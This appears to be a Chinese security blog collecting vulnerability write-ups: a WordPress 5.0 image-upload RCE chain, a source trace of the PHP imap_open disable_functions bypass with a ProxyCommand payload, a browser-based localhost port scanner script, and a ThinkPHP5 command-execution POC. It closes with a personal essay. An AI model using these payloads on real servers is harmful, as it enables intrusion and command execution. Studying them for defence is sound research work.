WordPress5.0远程代码执行踩坑分析

分析由来

       这个洞费了我很长时间,因为踩坑比较多,基本上能踩的都踩了。刚开始跟着别人的分析文章走,发现走不通。可能忽略了很多东西,加上我第一次认识 WordPress,不是很熟悉这个框架,并且前端比较复杂,很难找到对应的调用点。其实完全分析到复习成功看来其实确实是一个很精妙的攻击链,不得不赞叹一下!

整个攻击链的流程

  1. 上传我们构造exif头带shell的图片
  2. 进入编辑图片第一次进入edit_post修改图片postmeta_wp_attachment_file字段为辅助目录,再进入crop-image 创建辅助目录
  3. 进入编辑图片第二次进入edit_post修改图片postmeta_wp_attachment_file字段为目标目录,再进入crop-image 创建目标文件
  4. 创建一个新的文章页面
  5. 进去新创建的文章页面,获取wponcepost_id
  6. 自己构造编辑内容即手动添加wponcepost_id同上修改postmeta_wp_page_template字段为上传文件名字前加上cropped- 7.访问修改过的文章页面Getshell

填坑

  1. 第一步构造exif没什么难度,随便找个可写的tag 比如User Comment

  2. 第二步即整个链的关键之处,可以修改和添加任意post的postmeta,但是为什么这里有两步修改_wp_attachment_file,这是其中第一个坑,我的看的分析文章中都没有提过这个问题。列如我们需要将图片移动至相应的主题文件下充当模板。 上传m.jpg 路径为/wp-content/upload/2019/3/05/m.jpg 则需要构造m.jpg?/../../../../themes/twentynineteen/m2.jpg 如果第一步就直接构造这个是有一点问题,会导致再crop-image中写了修改过的图片。

          在 /wp-includes/class-wp-image-editor.php 402行中 会调用对应图片编辑扩展的writeImage函数来写图片,会报错文件地址非法,这里原因就是不存在m.jpg?这个目录,前面虽然有mkdir(dirname($filename),777,true),以递归的形式写,而且会返回true,但是并没有创m.jpg这个目录。而一般涉及到读写的函数都会逐级去判断目录,imagick::writeImage在判断路径时就发生了错误,但是为什么mkdir会执行成功呢,可能原因在于mkdir第三个参数,之前我在看php的内核源码的看见过关于路径的一个expand过程,过程中会将./ ../ 这两个目录展开,我猜测可能是进行了展开,将m.jpg?../抵消了。

           但是问题来了,同样我寻思这样的情况也是在window下成立,确实如此,但是在window情况下出现了两种情况第一种如果文件里面包含的是?,window不允许文件名包含?,道理上在true情况下会忽略,但实际上在truefalse的情况下都写不了,当文件名包含#时在true的情况可以写

          这时候出现了第二种情况,我看见一篇分析中在文件名包含?,却在false的情况下执行成功了,true的情况却不行。作者的解释时true时递归判断了m.jpg?目录名的合法性,在false下没有判断出现了这个问题。这不明显矛盾了吗?

         事后我联系了文章作者询问其php版本为7.0,window我的为5.5。三种不同的情况(包括全程复现下的环境kali/debian php 7.3),这mkdir真的有趣,非常有必要去看一下。

    以下均为文件名包含?的情况

    1. window+php 5.5 mkdir(filename,777,true),mkdir(filename,777,false) 均为false
    2. window+php 7.0 mkdir(filename,777,true)=>false,mkdir(filename,777,false) =>true
    3. linux(kali/debian)+php7.3 mkdir(filename,777,true)=>true,mkdir(filename,777,false) =>false

          写完这篇文章后,mkdir内部的实现必须要看了。结合前面说的,必须先创建辅助目录m.jpg?才能在都后面写图片成功。这一步需要写两次!!

  3. 接下来的模板包含情况,一开始我认为在edit_post 里面只能编辑附件,无奈wordpress 前端太复杂,我找不到接口。只能看wordpress 解析请求的过程,看如何构造才能走到 singer 或者 page 模式上去,因为只有这两个模式加载的时候才会从postmeta中取wp_page_template来加载模板,可惜无论我怎样构造都会加载到attachment的模式上去。

          仔细思考了一下,文章可以走到singer上去,但是能不能修改文章类型的postmeta,因为在请求的时候wordpress有自带的防csrf机制,如果想要改必须要相对应的wpnonce才行。比较wpnonce过程为

    1
    2
    check_admin_referer('update-post_'.$post_id);
    wp_verify_nonce($_REQUEST['wpnonce'],$action); //$action='update-post_'.$post_id

           显然需要动作和post_id结合而成的wpnonce,有了这个我们就能使用edit_post,找了很长时间都没有找到带这个参数的接口,突然我觉得可以在文件编辑页面的html源码搜索一下,尽然有!!,在meta-form 中,到现在我都不知道如何操作才会使用到这个表单,修改文章过程中都是传的json

          拿到wpnoce和post_id拼接请求,且通过meta_input[]修改wp_page_template,包含图片拿到shell。

总结

      确实在看别人分析文章的时候,会出现一些偏差,导致自己的思维有些被限制住了,整个链从任意修改数据库中postmeta,到写文件的路径穿越,到模板文件的加载一气呵成,这样的链也不多了。总以为在分析完一个东西以后,会万事大吉,却发现问题只会源源不断的来 :)。文件最后也遗留了一个关于phpmkdir的处理过程。这也是我接下来的下一篇文章。 第一次用markdown写东西,写的不好大家别介意:)

附上做的一点验证性实验,很有可能我的猜测是正确的!第一个是为false的情况,第二是为true递归执行的情况,我用的是php7.4-dev

图丢失lol

溯源imap_open是如何绕过disable_function

在最近遇见的CTF题中有很多都禁了所有有关命令执行的函数一类的题,如何绕过disable_function执行命令确实是一个问题,对于想要绕过disable_function的方法,有下面几种:

  • 利用环境变量LD_PRELOAD
  • ImageMagick
  • mail函数
  • imagecreatefromgd2
  • 破壳bash漏洞
  • imap_open

最新的方法肯定是imap_open,于是找来几篇imap_open关于绕过disable_function的文章来研究一下,最近也有类似用到imap的CTF题。看了2篇外文,2篇中文。在知道基本的原理的基础上,发现都讲的差不错,然而有些细节方面都没有我想要的,甚至某些地方有一些出入。我想要知道为什么imap会走到ssh上,我注意到在php 函数imap_open的第一个$mailbox参数中多了一个},没有它似乎也没有外部的execve调用,我也想知道内部是如何分隔$mailbox参数的,带着这样的疑问,便有了此文,把php 内核调用imap-2007f的mail_open过程看了一边,终于理顺了。纸上得来终觉浅!

0x01 imap_open 整个调用链的分析

0x00 PHP调用mail_open的过程

php 内部并没有自己实现imap过程,用的是c下imap-2007f的库。

1
0x1 PHP_FUNCTION(imap_open) -> php_imap_do_open() -> mail_open();

这是PHP 内的调用过程,全程没有对其第一个参数$mailbox进行处理,传给了mail_open()

1
imap_stream = mail_open(NIL, ZSTR_VAL(mailbox), flags);

0x01 imap-2007f下mail_open执行过程

进入imap-2007f的库函数下mail_open() imap-2007f/src/c-client/mail.c:1186name$mailbox

1
2
3
4
5
6
switch (name[0]) {		
case '#': ...
default:
d = mail_valid (NIL,name,(options & OP_SILENT) ?
(char *) NIL : "open mailbox");
}

进入 switch 如果mailbox 开头是#,会进行特别的处理,类似于hook预处理。

或者进入default这是我们要进的位置。

0x02 驱动选择过程

->mail_valid() imap-2007f/src/c-client/mail.c:1257

选择要使用的邮件驱动 包括 imapdriverpop3drivernntpdriverdummydriver

首先会有一个基础的判断mailbox不允许带 \n\r,前面会通过mail_link() 将这些驱动注册到全局变量factory

1
2
3
4
5
for (factory = maildrivers; factory && 
((factory->flags & DR_DISABLE) ||
((factory->flags & DR_LOCAL) && (*mailbox == '{')) ||
!(*factory->valid) (mailbox));
factory = factory->next);

通过遍历factory,由各个驱动的valid 函数来进行决定用哪个驱动。最后返回选择好的驱动。比如imap_vaild() 都会通过 mail_vaild_net_parse()分割mailbox 通过得到的 service 和 驱动的名字比较。若相符则正常返回。这个函数是重点后面详细讲,返回选择好的驱动返回,接着走。

1
d ? mail_open_work (d,stream,name,options) : stream;

-> mail_open_work( ) imap-2007f/src/c-client/mail.c 1260:

选择好驱动以后,进入mail_open_work(), 因为传入streamnil,需要初始化一个新的stream 结构,然后调用相应mail驱动的open() 函数,这里是imap_open()

1
return ((*d->open)(stream)) ? stream : mail_close(stream);

0x03 imap_open 执行过程

-> imap_open() imap-2007f/src/c-client/imap4r1.c:783

这里首先会进入mail_valid_net_parse()这个刚才函数,这里是为了将$mailbox分割出一个NETMBX结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct net_mailbox {
char host[NETMAXHOST]; /* host name (may be canonicalized) */
char orighost[NETMAXHOST]; /* host name before canonicalization */
char user[NETMAXUSER]; /* user name */
char authuser[NETMAXUSER]; /* authentication user name */
char mailbox[NETMAXMBX]; /* mailbox name */
char service[NETMAXSRV]; /* service name */
unsigned long port; /* TCP port number */
unsigned int anoflag : 1; /* anonymous */
unsigned int dbgflag : 1; /* debug flag */
unsigned int secflag : 1; /* secure flag */
unsigned int sslflag : 1; /* SSL driver flag */
unsigned int trysslflag : 1; /* try SSL driver first flag */
unsigned int novalidate : 1; /* don't validate certificates */
unsigned int tlsflag : 1; /* TLS flag */
unsigned int notlsflag : 1; /* do not do TLS flag */
unsigned int readonlyflag : 1;/* want readonly */
unsigned int norsh : 1; /* don't use rsh/ssh */
unsigned int loser : 1; /* server is a loser */
unsigned int tlssslv23 : 1; /* force SSLv23 client method over TLS */
} NETMBX;

其中包括后面需要用到的各种参数。也是后面判断进入各种流程的重要依据.

->mail_valid_net_parse() -> mail_valid_net_parse_work() imap-2007f/src/c-client/mail.c 734

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (*name++ != '{') return NIL;
if (*name == '[') { /* if domain literal, find its ending */
if (!((v = strpbrk (name,"]}")) && (*v++ == ']'))) return NIL;
}
/* find end of host name */
else if (!(v = strpbrk (name,"/:}"))) return NIL;
/* validate length, find mailbox part */
if (!((i = v - name) && (i < NETMAXHOST) && (t = strchr (v,'}')) &&
((j = t - v) < MAILTMPLEN) && (strlen (t+1) < (size_t) NETMAXMBX)))
return NIL; /* invalid mailbox */
strncpy (mb->host,name,i); /* set host name */
strncpy (mb->orighost,name,i);
mb->host[i] = mb->orighost[i] = '';
strcpy (mb->mailbox,t+1)

重点看host ,前面都是基础的判断条件,去掉了[] 包裹的内容。

“/:}”中第一个出现的字符标志为hostname的结束符, 却最后又以}判断 server部分的结束,}之后判定为邮箱的名字。当出现一种情况}同时是hostname的结束符,也是整个server部分的结束符。当出现这种下,中间存在目标邮箱地址的端口号和指定的flag都会被略过,会出现下面if判断条件不成立。

1
if (t - v) // t-v == 0

因为不会进入接下的if语句,就不会进行目标邮箱server的端口赋值即mb->port和各种/flag的判断和对mb的赋值 。即使原来的mailbox里flag参数中存在/norsh 也不会起作用。这个分割函数其实很有意思,因为没有进入if语句 也没有得到相应的service 参数来选择对应的驱动,但是会自动赋值为调用者的service名字,前面说了各个mail驱动的vaild的函数会选择是否适用于当前mailbox,都会默认传递自己的service的名字,可以说4个驱动在这种情况都是可以用的,但是很巧的是 imapdriver是第一个注册的。所以理所当然的走到了imap下。

1
if (!*mb->service) strcpy (mb->service,service);

回到 ->imap_open

经过分割得到的mb 参数。因为没有进入if语句会丢失很多赋值过程

1
2
3
4
5
if (mb.dbgflag) stream->debug = T;
if (mb.readonlyflag) stream->rdonly = T;
if (mb.anoflag) stream->anonymous = T;
if (mb.secflag) stream->secure = T;
if (mb.trysslflag || imap_tryssl) stream->tryssl = T;

列如这些都不会进如 if,因为/flag 都没有判断。

1
2
3
4
if (stream->anonymous || mb.port || mb.sslflag || mb.tlsflag)
reply = (LOCAL->netstream = net_open (&mb,NIL,defprt,ssld,"*imaps",
sslport)) ?
imap_reply (stream,NIL) : NIL;

相应的 stream->anonymous mb.port mb.sslflag mb.tlsflag都是NIL

1
else if (reply = imap_rimap (stream,"*imap",&mb,usr,tmp));

0x04 imap_rimap 执行过程

->imap_rimap imap-2007f/src/c-client/imap4r1.c:1022

1
if (!mb->norsh && (tstream = net_aopen (NIL,mb,service,usr)))

-> net_aopen() /root/bypass_disable_function/imap-2007f/src/c-client/mail.c:6218

1
2
if (!dv) dv = &tcpdriver;
if (tstream = (*dv->aopen) (mb,service,user))

-> tcp_aopen(unix) imap-2007f/src/osdep/unix/tcp_unix.c imap-2007f/src/osdep/unix/tcp_unix.c:330

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#ifdef SSHPATH                       /* ssh path defined yet? */
if (!sshpath) sshpath = cpystr (SSHPATH);
#endif
#ifdef RSHPATH /* rsh path defined yet? */
if (!rshpath) rshpath = cpystr (RSHPATH);
#endif
if (*service == '*') { /* want ssh? */
/* return immediately if ssh disabled */
if (!(sshpath && (ti = sshtimeout))) return NIL;
/* ssh command prototype defined yet? */
if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
}
/* want rsh? */
else if (rshpath && (ti = rshtimeout)) {
/* rsh command prototype defined yet? */
if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
}
else return NIL;

关于rsh的寻址问题其他文章也讲的很清楚了。SSHPATHRSHPATH都先从/etc/c-client.cf 的配置文件得到,一般都是为空,但RSHPATH在编译的时候可以从makefile里面可以被指定为 /usr/bin/rsh,在debianrsh 又是指向 ssh

图片2.png
1
2
3
4
else if (rshpath && (ti = rshtimeout)) {
/* rsh command prototype defined yet? */
if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
}

rshcommand是默认nil,这里赋值。

1
else sprintf (tmp,rshcommand,rshpath,host,mb->user[0] ? mb->user : myusername (),service);

写入tmp里面,rshpath/usr/bin/rshhostmb->host经过tcp_canonical 并通过dns解析,返回原值。user 为 myusername()调用者是谁,我这里是root ,service 即“imap”

1
2
3
4
tmp` 应为 `“rshpath mb->host -l myusername() exec /usr/sbin/rimapd”
for (i = 1,path = argv[0] = strtok_r (tmp," ",&r);
(i < MAXARGV) && (argv[i] = strtok_r (NIL," ",&r)); i++);
argv[i] = NIL;

这个地方也很关键,是分割pathargs 的位置,这里也有跟国内的两篇的文章有出入,并不是他们说的不能用$mailbox 包含空格 ,因为会被转义,?????,这是转义吗?这是以空格为标志分割命令执行的参数。所以这里不能用空格 可以用 \t$IFS来代替,

其最后execv (path,argv)

1
execv("/usr/bin/rsh",["/usr/bin/rsh",host ...]

这里已经可以通过修改hostname达到参数注入,同样ssh 也有那么一个参数可以执行任意命令-oProxyCommand,避免不要的麻烦,可以base64,因为涉及到getshell 可能会出现写路径出现/,因为前面说了/同样是可以判定hostname的结束符,这样把}提前就没有意义了。下面的strace 结果可能会看的更清楚

图片1.png

0x02 Payload && 官方修复分析

附上官方验证性payload ,至于修复php官方 默认将rsh和ssh 的连接超时设置为了0

1
2
3
4
5
6
7
8
9
STD_PHP_INI_BOOLEAN("imap.enable_insecure_rsh", "0", PHP_INI_SYSTEM, OnUpdateBool, enable_rsh, zend_imap_globals, imap_globals)

...

if (!IMAPG(enable_rsh)) {
/* disable SSH and RSH, see https://bugs.php.net/bug.php?id=77153 */
mail_parameters (NIL, SET_RSHTIMEOUT, 0);
mail_parameters (NIL, SET_SSHTIMEOUT, 0);
}

rshtimeoutsshtimeout 同样也可以来源于 /etc/c-client.cf ,一般情况这个文件是空的,同样在tcp_unxi.c 中也对这个两个值进行了赋值,默认都为15.

tcp_aopen() imap-2007f/src/osdep/unix/tcp.unix.c 349

1
else if (rshpath && (ti = rshtimeout)) return NIL

这样一来就给限制住了,直接返回nil. 下面是官方测试用的payload

1
2
3
$payload = "echo 'BUG'> " . __DIR__ . '/__bug';
$payloadb64 = base64_encode($payload);
$server = "x -oProxyCommand=echo\t$payloadb64|base64\t-d|sh}";

0x03 对其整个过程的思考和总结

在php 使用imap_open的时候一定需要注意 :第一个参数$mailbox php本身并没有对其进行检验是否符合格式的操作。只是判断了第一个字符是不是{,在c的imap-2007f库中虽然进行了参数化,但在处理上还是有一定的问题。

比如在最后tcp_aopen() imap-2007f/src/osdep/unix/tcp.unix.c:371

1
strcpy(host,tcp_canonical(mb->host))

tcp_canonical 仅仅对hostname 进行了 ip_nametoadress 其本身就是调用了gethostname,若解析不了则原hostname 返回,这过程是不是存在一点问题?

所以在使用imap_open 中对hostname 一定要严格限定,应过滤相应的/ } 这些字符。

在选择外部调用的问题上,是否应该完全交付处理,这问题出在信任链上。

0x04 整个过程的调用链

img

0x05 参考连接

https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb

https://nosec.org/home/detail/2044.html

https://xz.aliyun.com/t/4113

https://github.com/asmlib/imap-2007f

chrome-error://chromewebdata/的利用

今天发现一个很有趣的东西,利用chrome-error://chromewebdata 来判断页面。想研究一下原理

1. 用chrome-error://chromewebdata 来进行 端口扫描

在chrome 里面比如访问http://127.0.0.1:8888 这个端口并没有开,chrome 会显示 refuse, 在console 里面看location == 'chrome-error://chromewebdata'.但是地址栏不变。在地址栏里面加# 这个时候页面会重载。因为地址栏和location 并不一样。所以会重载, 如果这127.0.0.1:8888端口开了,页面显示正常,location 和 地址栏一致。如果再加个#并不会 页面重载,利用这个差异可以进行端口判断。

如果需要批量的话,整个页面不可能一直重载把,即不能动 top-frame ,这个时候需要插入一个iframe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<iframe name="test" src > </iframe>
<script>

f = document.getElementsByName('test')[0];

f.onload = () =>{console.log("1111111")};

f.src = "http://127.0.0.1:80";

a = document.createElement('a');

a.target = f.name;

a.href = f.src + "#";

</script>

http://127.0.0.1:80 这个页面显示正常,所以只会console.log 一次 ,如果 换成 http://127.0.0.1:8888 没有开启的端口。这个时候会显示两次 console.log。利用这个差异就可以批量检测端口。当然目标网站如果 X-Frame-Options with deny 会影响结果。一个简单的port 扫描如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<iframe name="test" src="" ></iframe>
<script>
var URL = 'http://127.0.0.1:';
var port = 70;
var limit = 10000;
var urlarr = [];
var f = document.getElementsByName('test')[0];
function scan(i){
if(i > limit) return;
var where = URL+i+"/";
console.log(where);
var calls = 0;
f.onload = () =>{
calls++;
f(calls>1){
clearTimeout(timer);
scan(i+1);
return;
}
var a = document.createElement('a');
a.target = f.name;
a.href = f.src+'#'
a.click();
a = null;
}
f.src = where;
timer = setTimeout(()=>{urlarr.push(i);scan(i+1);},2000);
}
scan(port);
</script>

setTimeout 需根据请求响应的时间调整。本地跑的很快。

2. ssrf

当然出现chrome-error://chromewebdata/ 不只仅仅是访问refuse 时会出现,触发csp,触发xss auditor 都会出现。其实关键在于 地址栏 和 location 的值不一致时候 对于 url+"#"的处理,一致时就不会重载。不一致就会触发页面刷新。

在353C CTF filemanager 中就利用了 xss auditor 让页面出现 chrome-error://chromewebdata/。题目因为存在xsrf 存在无法直接xss。体外话,其实找xsrf 的token 也可以用相似的侧信道,我在有些go 的框架里面注意到,关于xsrf的token 字符串比较都是需要用 subtle.ConstantTimeCompare ,并不是简单的 token == expect,用来防止时序攻击,比较字符串时,有可能因为字符串不一样 返回的时间有所不同。

chrome-error://chromewebdata/ 是用来验证页面一个不错的法子。当然有一定的局限型,必须是可以连续的验证的

1
2
3
4
5
6
7
8
9
10
<?php
$password = @$_GET["password"];
if($password==='admin'){
echo "you get it." ;
echo "<script>var a='aaaaaa';</script>";
}else{
echo "guess error!" ;
echo "<script>var b='bbbbbb';</script>";

}

这样的情况下不行 只有唯一情况 页面不一样,并具有有连续的性。无法验证

===的RHS 换成 strpos('admin',$password); 就可以用这种方式。在某些ssrf 中可能有奇效。记录一下。

永远不说放弃,努力再努力,终会如愿以偿!

ThinkPHP5 Request基类远程命令执行的思考

一天的时间,终于看见了一篇关于这个刚爆出来的洞的分析 ,都认为比较鸡肋吧?

启明星ADLab https://mp.weixin.qq.com/s/DGWuSdB2DvJszom0C_dkoQ

我感觉讲了一个大概,大篇幅的代码的粘贴赋值,有人说这是个鸡肋的洞,我当时第一时间看见,需要开debug,我也以为是个鸡肋,发现并不是,当然智者见智了。

其实这个洞很简单流程,Request基类 中的method方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
/*$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
} else {
$this->method = 'POST';
}
unset($_POST[Config::get('var_method')]);*/
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}

官方对应method的修复方法我用注释括起来了。

1
2
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);

关键的两句,$this->method直接从$_POST里面拿出来的,显然可以有机会通过第二句执行Request类里面的一个方法,POC用的是Request构造函数__construct

1
2
3
4
5
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}

里面存在的一个类中属性覆盖。属性覆盖可以影响的是$filter 为全局过滤函数。在从Request 取值的时候都会用到这个全局的过滤函数,具体在 Request::input()中。例如 在Request::param, Request::get,Request::post.... 都会用到。

很简单我们需要做的是 执行method 这个方法,再执行input方法。

执行method其实在入口文件检查的路由的时候已经执行了。执行流程如下

1
App::run -> App::routeCheck() -> Route::check() -> $method = strtolower($request->method());

第一步完成了,至于为什么说要开debug,我感觉是一个通用的poc。只需要开启的debug,不用其他操作。整个框架下载下来就能触发。至于触发点并不是前面启明星辰AdLab分析中的那个触发点,很早就触发了。往下看

App::run()

1
2
3
4
5
if (self::$debug) {    
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}

这个点已经触发了。因为开了debug

再说为什么还是有点鸡肋呢, 即使在后面的默认的index/index/index 中 加了

1
Request::instance()->param();

却也不触发呢,按常理来说应该是会触发的,但是并没有触发。经过分析发现filter 这个包含全局过滤函数的数组竟然被覆盖了。

App::exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}

用的是兼容模式的URL ?s=index/index/index, 这里会进入 case 'module'

App::module

1
$request->filter($config['default_filter']);

这里filter被覆盖了。找到问题以后 添加一行Request::instance()->param(); 应该能成功执行了吧,发现不然。还是不行。

原POC 为 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

其实这个有问题,再看method 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}

!$method == true 时才会执行属性覆盖。在第一次 路由检查的时候 当执行完method 方法以后 $this->method 也进行了变量覆盖,为get。所以这里请求时method 应该设置为空。完成这一步其实还是不够的。还是发现执行不了命令。

这一次问题出在了 Request::instance()->param();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}

this->mergeParam 为空时才会进入if进入 $method = $this->method(true);这一步是为什么 server[REQUEST_METHOD]=ls -al的原因。

1
2
3
4
5
6
7
8
Request.php:661, think\Request->param()
App.php:396, think\App::bindParams()
App.php:360, think\App::invokeMethod()
App.php:632, think\App::module()
App.php:477, think\App::exec()
App.php:160, think\App::run()
start.php:19, require()
index.php:17, {main}()

App::bindParams中 已经执行过了Request::param 方法 将mergeParam置为true了。所以这里必须在请求时传一个mergeParam为空

完整的pOC 为:

1
_method=__construct&filter[]=system&method=&server[REQUEST_METHOD]=ls -al&mergeParam=

说到这里终究是因为在App::module 中将filter又被覆盖了,所以显的比较鸡肋。我在寻找能否再找一个method 方法执行比较好的时间点,发现在文件日志驱动有一个,而且不错的一个链子这里我就不公布了。因为我还有用。

其实这个洞并不鸡肋,还是那句话智者见智。寒假挖洞生活 正式开始! 愿明年开春能找到一个好的工作!![坏笑]

永远不说放弃,努力再努力,终会如愿以偿!

边界与漫想

其实我一直想说说什么叫边界,博客的首页,我说我一直在寻找边界,什么是边界,边界到底在哪,两个命题。其实一直有一种莫名的不确定感在我心中。

唯一会让我恐惧的是面对不确定的情况,不确定来源于对事情的掌控能力。

The oldest and strongest emotion of mankind is fear, and the oldest and strongest kind of fear is fear of the unknown. 人类最古老、最强烈的情感是恐惧;而最古老、最强烈的恐惧,是对未知的恐惧 --- H. P. Lovecraft

边界的概念是2016 博客刚开的时候,我才逐渐意识到的。那时在绕waf的时候有一种思路就是找到规则的边界。后知后觉其实万事万物都有边界,但是知道吗?其实那很虚无缥缈。

2015年只身一人,选择了远方,到今年我快要毕业了。是呀时间匆匆,却来不及感叹。我经常会去提醒自己去做一个理性的人,不要让感性去支配自己,常常会给自己一种孤独感,为了让自己能静心的走下去。只是这些对吗?在不同的年龄段对这些问题,我有自己不同的看法,在如今这个年龄段,我逐渐否认了这些东西。

我发现自己越来越来容易被感动了,因为看到的一个小视频,或者因为生活遇到的一个小事。我很希望多付出一点,去获得一个感动。是自己越来越感性了吗?

那天晚上下班,如往常一样回学校去食堂,买了一份面找个没人的桌子坐了下来,拿出手机一边吃一边。这时候来了一个收拾桌子的阿姨,我也没太在意,她说“小同学,你手套都要掉出来了”。我回过神来发现手套是在外面,因为手套太大,确实有一小半露在口袋外面,我说“谢谢啊阿姨!”。然后继续开始自己的玩手机和吃饭。没想到是阿姨却没有走,还在说着“别玩手机太入迷,好好看好自己的东西。万一东西丢了怎么办?”。我很诧异,我没有说话,我只是一直笑,阿姨年龄应该50 多岁了,听口音带一点方言,好像不是天津人。看着阿姨,我迟迟没有讲话,还是一直在笑,最后阿姨也笑了。一个可能一生只会遇到一次的陌生人,在这一刻其实也不必说太多,但留下只有感动。

在食堂经常有那些外校的人,没有学生卡是打不了饭的。有一次一位阿姨,站在我前面,她不是学校里面的人。她没有卡,打不了饭,她找我求助,我也没带手机,她也没现金。突然我想到了我妈,如果有一天在外面她也这样,她该怎么办,是否有人帮她,这一次我没有要阿姨的钱,我帮阿姨刷了卡。阿姨要我电话号,我说不用 了,然后匆匆走开了。看着这位阿姨,我想起了我妈,可能这位阿姨也是一位母亲,有她的孩子,她的孩子是否也会担心她呢?

孤独感会让自己走的越来越远吗?自己要想的真的是孤独吗?以前我认为孤独感会让自己静下来心,远离那些喧嚣,让自己看的更透彻,对待事物的时候能让自己的心不再那么浮躁,确实适合在某些阶段。只是后来的我发现,人是有感情的东西,离不开的是这个自然和社会,需要经历是人情冷暖,人不是一座孤岛,不是52hz的Alice。刻意的去给自己孤独感,潜意识就会想挣脱这种情绪,其实这是我最大的感受,比如平时你去一个人去学习和工作的时候,你就会忍不住的去刷手机。人其实很害怕孤独,没有人想在置身于孤独的环境下。

关于边界同样如此复杂,摸不到寻不到,只能隐约感受都它存在。但我们的能做的是在不同的阶段结束的时候,给它一个总结,给新的一切来临之前一个启示。

每个人能坚强的生活着必然着自己所坚持的东西,我所坚持一是 要有一个好的身体,二是对 自己技术肯定。关于爱好我真的有很多想说的。

很多人用一生去做了一件自己不太喜欢的事,是否曾经有问过自己到底想要做什么?为什么没有做?席慕蓉在晚年的《独白中》中写过:“在一回首间,才忽然发现,原来我一生的种种努力,一直在为了周遭的人对我满意而已。为了博得他人的称许与微笑,我战战兢兢地将自己套入所有的模式所有的桎梏。走到途中才忽然发现,我只剩下一副模糊的面目,一副没有灵魂的肉身,和一条不能回头的路。”

我很庆幸自己的幼稚的倔强让我选择做我自己喜欢的做的东西。大学选专业的时候,我毅然决然的选择自己的喜欢的专业,在支援填报的时候我只选了一个信息安全专业,不服从调剂,1本的分数线甚至还选了几个二本的学校的信息安全,想想真的够狠的,父母都担心我录不上,其实我一点都不担心。

如果说小学初中高中,你无法选择,那么大学你如果还不任性的去选择一次,以后还怎么勇敢的做自己,我并不是单纯地怂恿你去叛逆追求个性,也不是想得瑟地告诉你去执着地做自己的人生有多么痛快,而是因为当你做自己时,为自己的内心做出选择时,你所获得的体验和阅历都会在某一天成为你人生中无比珍贵的财富。

当一个人去勇敢地追寻自己喜欢的事物时,他会获得很多丰富的体验,他会比别人更快更深入地了解自己。会慢慢知道自己究竟是一个怎样的人,喜欢什么,不喜欢什么,适合什么,不适合什么,他会逐渐发现潜藏在自己身体内的宝石,然后找到自己的方向,确立自己的优势和风格。

我其实很想问问身边的同学为什么要报这个专业,他们是否真的对这个专业感兴趣,还是说这个专业前景不错,选择了这个专业。为什么当初大学填志愿的时候,为什么不顾一切的选择自己曾经梦想的专业的呢,在大学选课的时候往往选的是并不是自己感兴趣的课而是那些容易过的课。你选择的社团,课外生活有时也不是你真正喜欢的,而只是为了让自己更合群。你在青春上的很多选择上都没有真正考虑过你最想要的是什么,喜欢的是什么。
